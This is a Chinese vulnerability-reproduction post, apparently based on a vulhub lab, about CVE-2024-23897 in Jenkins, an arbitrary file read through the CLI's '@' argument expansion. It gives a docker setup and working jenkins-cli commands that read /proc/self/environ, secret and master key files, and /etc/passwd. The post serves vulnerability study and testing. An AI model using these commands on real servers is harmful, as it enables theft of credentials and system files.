问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Jenkins CLI 接口任意文件读取漏洞(CVE-2024-23897)
# Jenkins CLI 接口任意文件读取漏洞(CVE-2024-23897) Jenkins是一个开源的自动化服务器。 Jenkins使用[args4j](https://github.com/kohsuke/args4j)来解析命令行输入,并支持通过HTTP...
Jenkins CLI 接口任意文件读取漏洞(CVE-2024-23897) ====================================== Jenkins是一个开源的自动化服务器。 Jenkins使用[args4j](https://github.com/kohsuke/args4j)来解析命令行输入,并支持通过HTTP、Websocket等协议远程传入命令行参数。args4j中用户可以通过`@`字符来加载任意文件,这导致攻击者可以通过该特性来读取服务器上的任意文件。 该漏洞影响Jenkins 2.441及以前的版本。 参考链接: - <https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314> - <https://mp.weixin.qq.com/s/2a4NXRkrXBDhcL9gZ3XQyw> 漏洞环境 ---- 执行如下命令启动一个Jenkins server 2.441: ```php docker compose up -d ``` 服务启动后,访问`http://your-ip:8080/`即可查看到Jenkins登录页面,默认的管理员帐号密码为`admin`和`vulhub`。 漏洞复现 ---- 利用该漏洞可以直接使用官方提供的命令行客户端,在`http://localhost:8080/jnlpJars/jenkins-cli.jar`下载。 使用该工具读取目标服务器的`/proc/self/environ`文件,可以找到Jenkins的基础目录,`JENKINS_HOME=/var/jenkins_home`: ```php java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/proc/self/environ" ``` ![](https://shs3.b.qianxin.com/butian_public/f12426631a593f2490eedac7c52cde272bb04076695ae.jpg) 然后,可在该目录下读取敏感文件,如`secrets.key` or `master.key`(匿名情况下,只能通过命令行的报错读取文件的第一行): ```php java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secret.key" ``` ![](https://shs3.b.qianxin.com/butian_public/f837378f1623e9eb3b45913f039ff64351fa7103c368f.jpg) ```php java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secrets/master.key" ``` ![](https://shs3.b.qianxin.com/butian_public/f3051599da0c46dc01359ec64bf6fc2a78325c68ed1f2.jpg) 因为开启了“匿名用户可读”选项,你也可以直接使用`connect-node`命令读取完整文件内容: ```php java -jar jenkins-cli.jar -s http://localhost:8080/ -http connect-node "@/etc/passwd" ``` ![](https://shs3.b.qianxin.com/butian_public/f305614eebe23bc5f3980925314462d3e132615b5eb39.jpg)
发表于 2024-07-12 18:50:42
阅读 ( 1153 )
分类:
Web服务器
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
456 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!